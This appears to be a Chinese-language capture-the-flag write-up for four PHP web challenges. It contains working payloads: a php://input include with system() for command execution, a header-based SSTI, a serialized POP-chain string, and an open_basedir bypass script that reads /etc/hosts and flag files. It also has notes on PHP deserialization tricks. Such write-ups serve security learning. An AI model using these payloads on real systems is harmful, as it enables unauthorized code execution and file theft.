Easy_include

<?php
error_reporting(0);
//flag in flag.php
$file=$_GET['file'];
if(isset($file))
{
    if(!preg_match("/flag/i",$file))
    {
        include($file);
    }
    else
    {
        echo("no no no ~ ");
    }
}
else
{
    highlight_file(__FILE__);
}

?>

可以使用php伪协议实现rce

pyload: GET传参 file=php://input

Post-data: <?php system('cat flag.php');?>

Web_IP

/flag.php页面会返回用户IP,将http头Client-ip修改下,果然发现显示ip发生变化了

用Wappalyzer发现是php语言写的,尝试ssti注入{{1+1}},成功了,于是直接rce

Web_pop

<?php
error_reporting(0);
highlight_file(__FILE__);
class Start{
    public $name;
    protected $func;
 
    public function __destruct()
    {
        echo "Welcome to QHCTF 2025, ".$this->name;
    }
 
    public function __isset($var)
    {
        ($this->func)();
    }
}
 
class Sec{
    private $obj;
    private $var;
 
    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }
 
    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}
 
class Easy{
    public $cla;
 
    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}
 
class eeee{
    public $obj;
 
    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}
 
if(isset($_POST['pop'])){
    unserialize($_POST['pop']);
}

是一道反序列化的题目,网上甚至可以搜到原题

payload : O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";O:4:"eeee":1:{s:3:"obj";r:1;}}s:3:"var";r:4;}s:4:"func";r:2;}

这里整理一下一些php反序列化中的常见的知识点

private属性序列化的时候格式是 %00类名%00成员名

protected属性序列化的时候格式是 %00*%00成员名

关键要点:

在Private 权限私有属性序列化的时候格式是 %00类名%00属性名

在Protected 权限序列化的时候格式是 %00*%00属性名

魔法方法作用
__construct()当对象创建时会自动调用(但在unserialize()时是不会自动调用的)
__destruct()当对象被销毁时会自动调用
__call()在对象中调用不可访问的方法时触发
__callStatic()在静态中调用不可访问的方法时触发
__get()用于从不可访问的属性读取数据
__set()用于将数据写入不可访问的属性
__isset()在不可访问的属性上调用isset()或empty()触发
__unset()在不可访问的属性上使用unset()时触发
__invoke()当脚本尝试将对象调用为函数时触发
__wakeup()unserialize()时会自动调用
__sleep()执行serialize()时,先会调用这个函数
__toString()当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

这个 __toString 触发的条件比较多,也因为这个原因容易被忽略,常见的触发条件有下面几种

(1)echo ($obj) / print($obj) 打印时会触发

(2)反序列化对象与字符串连接时

(3)反序列化对象参与格式化字符串时

(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

(5)反序列化对象参与格式化SQL语句,绑定参数时

(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时

(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用

(8)反序列化的对象作为 class_exists() 的参数的时候

PCREMagic

<?php
function is_php($data){
     return preg_match('/<\?php.*?eval.*?\(.*?\).*?\?>/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    if (!is_dir($user_dir)) {
        mkdir($user_dir, 0755, true);
    }
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
    exit;
}
?> 

这道题乍一看是一个配备了一句话木马waf的临时文件上传的题目,但是深入探索后发现环境有很多限制

首先可以搭建一个简单的文件上传脚本

<form action="Your-target-url" enctype="multipart/form-data" method="post">
	<input name="file" type="file" />
	<input type="submit" value="upload" />
</form>

上传<?php phpinfo();?>查看环境,找到关键信息,发现system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,
dl,set_time_limit,ignore_user_abort,symlink,link,error_log很多函数都被禁用了,并且环境设置open_basedir:/tmp/:/var/www/无法直接目录跳转到根目录

网上搜寻资料找到可以用glob('*')来替代ls的功能,并且用ini_set强行修改环境设置中的open_basedir,使得可以访问根目录,于是构造payload读取flag:

<?php
    print_r(ini_get('open_basedir').'<br>');
    
    mkdir('test');
    chdir('test');
    ini_set('open_basedir','..');
    chdir('..');
    chdir('..');
    chdir('..');
    chdir('..');
    chdir('..');
    chdir('..');
    ini_set('open_basedir','/');
    
    echo file_get_contents('/etc/hosts');
    print_r(ini_get('open_basedir').'<br>');
    // chdir('../');
    echo getcwd() . "\n";
    print_r(glob('*'));
    echo file_get_contents('flag');
?>

参考:『CTF Tricks』PHP-绕过open_basedir_directoryiterator php ctf-CSDN博客


一沙一世界,一花一天堂。君掌盛无边,刹那成永恒。